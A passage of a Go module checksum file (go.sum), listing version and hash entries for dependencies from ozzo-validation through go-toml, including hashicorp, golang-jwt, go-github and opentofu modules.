h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-ozzo/ozzo-validation v3.6.0+incompatible h1:msy24VGS42fKO9K1vLz82/GeYW1cILu7Nuuj1N3BBkE= github.com/go-ozzo/ozzo-validation v3.6.0+incompatible/go.mod h1:gsEKFIVnabGBt6mXmxK0MoFy+cZoTJY6mu5Ll3LVLBU= github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= github.com/go-playground/validator/v10 v10.30.1 h1:f3zDSN/zOma+w6+1Wswgd9fLkdwy06ntQJp0BBvFG0w= github.com/go-playground/validator/v10 v10.30.1/go.mod h1:oSuBIQzuJxL//3MelwSLD5hc2Tu889bF0Idm9Dg26cM= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= github.com/go-test/deep v1.0.4/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA= github.com/go-test/deep v1.1.1 h1:0r/53hagsehfO4bzD2Pgr/+RgHqhmf+k1Bpse2cTu1U= github.com/go-test/deep v1.1.1/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs= github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM= github.com/gofri/go-github-ratelimit v1.1.1 h1:5TCOtFf45M2PjSYU17txqbiYBEzjOuK1+OhivbW69W0= github.com/gofri/go-github-ratelimit v1.1.1/go.mod h1:wGZlBbzHmIVjwDR3pZgKY7RBTV6gsQWxLVkpfwhcMJM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI= github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY= github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 h1:f+oWsMOmNPc8JmEHVZIycC7hBoQxHH9pNKQORJNozsQ= github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8/go.mod h1:wcDNUvekVysuuOpQKo3191zZyTpiI6se1N1ULghS0sw= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= github.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc= github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/go-github/v75 v75.0.0 h1:k7q8Bvg+W5KxRl9Tjq16a9XEgVY1pwuiG5sIL7435Ic= github.com/google/go-github/v75 v75.0.0/go.mod h1:H3LUJEA1TCrzuUqtdAQniBNwuKiQIqdGKgBo1/M/uqI= github.com/google/go-github/v83 v83.0.0 h1:Ydy4gAfqxrnFUwXAuKl/OMhhGa0KtMtnJ3EozIIuHT0= github.com/google/go-github/v83 v83.0.0/go.mod h1:gbqarhK37mpSu8Xy7sz21ITtznvzouyHSAajSaYCHe8= github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= github.com/google/go-querystring v1.2.0 h1:yhqkPbu2/OH+V9BfpCVPZkNmUXhb2gBxJArfhIxNtP0= github.com/google/go-querystring v1.2.0/go.mod h1:8IFJqpSRITyJ8QhQ13bmbeMBDfmeEJZD5A0egEOmkqU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J0b1vyeLSOYI8bm5wbJM/8yDe8= github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8= github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0= github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY= github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= github.com/hashicorp/go-getter/v2 v2.2.3 h1:6CVzhT0KJQHqd9b0pK3xSP0CM/Cv+bVhk+jcaRJ2pGk= github.com/hashicorp/go-getter/v2 v2.2.3/go.mod h1:hp5Yy0GMQvwWVUmwLs3ygivz1JSLI323hdIE9J9m7TY= github.com/hashicorp/go-hclog v1.6.3 h1:Qr2kF+eVWjTiYmU7Y31tYlP1h0q/X3Nl3tPGdaB11/k= github.com/hashicorp/go-hclog v1.6.3/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= github.com/hashicorp/go-retryablehttp v0.7.7 h1:C8hUCYzor8PIfXHa4UrZkU4VvK8o9ISHxT2Q8+VepXU= github.com/hashicorp/go-retryablehttp v0.7.7/go.mod h1:pkQpWZeYWskR+D1tR2O5OcBFOxfA7DoAO6xtkuQnHTk= github.com/hashicorp/go-safetemp v1.0.0 h1:2HR189eFNrjHQyENnQMMpCiBAsRxzbTMIgBhEyExpmo= github.com/hashicorp/go-safetemp v1.0.0/go.mod h1:oaerMy3BhqiTbVye6QuFhFtIceqFoDHxNAB65b+Rj1I= github.com/hashicorp/go-version v1.7.0 h1:5tqGy27NaOTB8yJKUZELlFAS/LTKJkrmONwQKeRZfjY= github.com/hashicorp/go-version v1.7.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= github.com/hashicorp/hc-install v0.9.2 h1:v80EtNX4fCVHqzL9Lg/2xkp62bbvQMnvPQ0G+OmtO24= github.com/hashicorp/hc-install v0.9.2/go.mod h1:XUqBQNnuT4RsxoxiM9ZaUk0NX8hi2h+Lb6/c0OZnC/I= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= github.com/hashicorp/hcl/v2 v2.24.0 h1:2QJdZ454DSsYGoaE6QheQZjtKZSUs9Nh2izTWiwQxvE= github.com/hashicorp/hcl/v2 v2.24.0/go.mod h1:oGoO1FIQYfn/AgyOhlg9qLC6/nOJPX3qGbkZpYAcqfM= github.com/hashicorp/terraform-config-inspect v0.0.0-20260210152655-f4be3ba97d94 h1:p+oHuSCXvfFBFAejlPswDa7i5fi3r3+03jeW9mJs4qM= github.com/hashicorp/terraform-config-inspect v0.0.0-20260210152655-f4be3ba97d94/go.mod h1:Gz/z9Hbn+4KSp8A2FBtNszfLSdT2Tn/uAKGuVqqWmDI= github.com/huandu/xstrings v1.5.0 h1:2ag3IFq9ZDANvthTwTiqSSZLjDc+BedvHPAp5tJy2TI= github.com/huandu/xstrings v1.5.0/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 h1:BQSFePA1RWJOlocH6Fxy8MmwDt+yVQYULKfN0RoTN8A= github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo= github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= github.com/jpillora/backoff v1.0.0 h1:uvFg412JmmHBHw7iwprIxkPMI+sGQ4kzOWsMeHnm2EA= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= github.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4= github.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/compress v1.17.2 h1:RlWWUY/Dr4fL8qk9YG7DTZ7PDgME2V4csBXA8L/ixi4= github.com/klauspost/compress v1.17.2/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo= github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4= github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk= github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU= github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= github.com/moby/patternmatcher v0.6.0 h1:GmP9lR19aU5GqSSFko+5pRqHi+Ohk1O69aFiKkVGiPk= github.com/moby/patternmatcher v0.6.0/go.mod h1:hDPoyOpDY7OrrMDLaYoY3hf52gNCR/YOUYxkhApJIxc= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 h1:RWengNIwukTxcDr9M+97sNutRR1RKhG96O6jWumTTnw= github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/onsi/ginkgo/v2 v2.25.1 h1:Fwp6crTREKM+oA6Cz4MsO8RhKQzs2/gOIVOUscMAfZY= github.com/onsi/ginkgo/v2 v2.25.1/go.mod h1:ppTWQ1dh9KM/F1XgpeRqelR+zHVwV81DGRSDnFxK7Sk= github.com/onsi/gomega v1.38.2 h1:eZCjf2xjZAqe+LeWvKb5weQ+NcPwX84kqJ0cZNxok2A= github.com/onsi/gomega v1.38.2/go.mod h1:W2MJcYxRGV63b418Ai34Ud0hEdTVXq9NW9+Sx6uXf3k= github.com/opentofu/tofudl v0.0.1 h1:r2uD4nxMnq0Qkzhh/C9Ldxjt+piTJi0R0C40Kf4d+a8= github.com/opentofu/tofudl v0.0.1/go.mod h1:HeIabsnOzo0WMnIRqI13Ho6hEi6tu2nrQpzSddWL/9w= github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4= github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= 